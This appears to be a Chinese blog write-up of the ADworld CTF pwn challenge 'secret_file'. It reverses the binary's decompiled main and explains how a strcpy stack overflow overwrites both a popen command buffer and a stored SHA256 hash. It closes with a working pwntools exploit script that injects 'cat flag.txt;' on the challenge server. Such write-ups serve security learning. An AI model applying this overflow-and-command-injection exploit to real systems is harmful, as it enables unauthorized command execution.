ADworld pwn wp - secret_file

正文

在这里插入图片描述

在这里插入图片描述
缺少libc动态链接文件, 搜索一下是openssl的一个开源库, 实现加密算法, 找不到方便的解决方法, 直接连服务器打题

在这里插入图片描述

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char *v3; // rax
  unsigned __int8 *v4; // rbp
  char *v5; // rbx
  __int64 v6; // rcx
  char *v7; // rdi
  unsigned int v8; // er12
  FILE *v9; // rbp
  size_t v11; // [rsp+0h] [rbp-308h] BYREF
  char *lineptr; // [rsp+8h] [rbp-300h] BYREF
  char dest[256]; // [rsp+10h] [rbp-2F8h] BYREF
  char v14[27]; // [rsp+110h] [rbp-1F8h] BYREF
  char v15[65]; // [rsp+12Bh] [rbp-1DDh] BYREF
  _BYTE v16[32]; // [rsp+16Ch] [rbp-19Ch] BYREF
  char v17[64]; // [rsp+18Ch] [rbp-17Ch] BYREF
  int v18; // [rsp+1CCh] [rbp-13Ch] BYREF
  char s[264]; // [rsp+1D0h] [rbp-138h] BYREF
  unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]

  v20 = __readfsqword(0x28u);
  sub_E60(dest, a2, a3);
  v11 = 0LL;
  lineptr = 0LL;
  if ( getline(&lineptr, &v11, stdin) == -1 )
    return 1;
  v3 = strrchr(lineptr, 10);
  if ( !v3 )
    return 1;
  *v3 = 0;
  v4 = v16;
  v5 = v17;
  strcpy(dest, lineptr);
  sub_DD0(dest, v16, 256LL);
  do
  {
    v6 = *v4;
    v7 = v5;
    v5 += 2;
    ++v4;
    snprintf(v7, 3uLL, "%02x", v6);
  }
  while ( v5 != (char *)&v18 );
  v8 = strcmp(v15, v17);
  if ( v8 )
  {
    puts("wrong password!");
    return 1;
  }
  v9 = popen(v14, "r");
  if ( !v9 )
    return 1;
  while ( fgets(s, 256, v9) )
    printf("%s", s);
  fclose(v9);
  return v8;
}
涉及的函数解析
strchr

C 库函数 char *strchr(const char *str, int c) 在参数 str 所指向的字符串中搜索第一次出现字符 c(一个无符号字符)的位置

在这里插入图片描述

所以是将输入按换行符截断

sub_DD0
函数是对输入的字符串做SHA256处理, 保存在v16中

在这里插入图片描述

这里有溢出漏洞, 不过不是溢出到ret_addr, 而是可以溢出覆盖栈的数据

在这里插入图片描述

popen

搜索一下popen函数

头文件:#include <stdio.h>

定义函数:FILE * popen(const char * command, const char * type);

函数说明:popen()会调用fork()产生子进程,然后从子进程中调用/bin/sh -c 来执行参数command 的指令。

都相当于后门了, 所以这是个关键, 可以执行shell(command)

然后比较v15 和 v17字符串

在这里插入图片描述

再看看几个关键变量, dest, v14, v15, v17
在这里插入图片描述

从后往前逆向分析, 看到一开始dest会设置0x100个0, 然后是/bin/cat ./secret_data.asc9387a00e31e413c55af9c08c69cd119ab4685ef3bc8bcbe1cf82161119457127
在这里插入图片描述

漏洞利用

所以至此利用思路大致有个方向, 可以dest溢出覆盖v14, v15, v16, v17, 通过检测, 然后到达popen(command)执行popen(“ls;”)查看服务器上的文件列表, 应该会有flag文件, 然后再popen(“cat flag;”), 注意需要保留分号";", 而且popen函数通过调用fork产生一个子进程,通过shell执行传入的命令,这个进程必须通过pclose函数关闭,而不能是fclose函数

为了知道具体怎么操作, 需要彻底弄清程序的执行流
在这里插入图片描述
搜索得知_BYTE == unsigned char, 而v16是存储dest字符串哈希之后的结果, 而这个循环是将v16无符号数逐字节复制到v17数组, 然后底下要v15和v17比较, v15没有被程序操作, 但是要通过检测, 所以可以溢出到v15, 使得v17与v15相等, 也就是输入的字符串的哈希值, 溢出的同时使得v14 == "ls;" / "cat flag;", 即可执行命令

细化利用步骤
(1) 设置特定dest == b’z’ * 256
(2) 设置v14 == command
(3) 计算dest的SHA256值, 在溢出的同时设置给v15
(4) 通过if判断, 执行popen
(5) 得到文件列表
(6) 再次执行exp拿到flag

from pwn import *
import hashlib

context.log_level = "debug"
URL, PORT = "111.200.241.244", 53414 
io = remote(URL, PORT)

padding = b'z' * 0x100 
# payload = padding + b"ls;".ljust(27, b' ') + hashlib.sha256(padding).hexdigest().encode()
payload = padding + b"cat flag.txt;".ljust(27, b' ') + hashlib.sha256(padding).hexdigest().encode()

io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述

总结

(1) popen函数

头文件:#include <stdio.h>
定义函数:FILE * popen(const char * command, const char * type);
函数说明:popen()会调用fork()产生子进程,
		然后从子进程中调用/bin/sh -c 来执行参数command 的指令。

(2) _BYTE
_BYTE == unsigned char

(3) strchr
C 库函数 char *strchr(const char *str, int c) 在参数 str 所指向的字符串中搜索第一次出现字符 c(一个无符号字符)的位置

(4) python3 str 和 bytes 的相互转换

s = "test"
b = s.encode()
s = b.decode()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值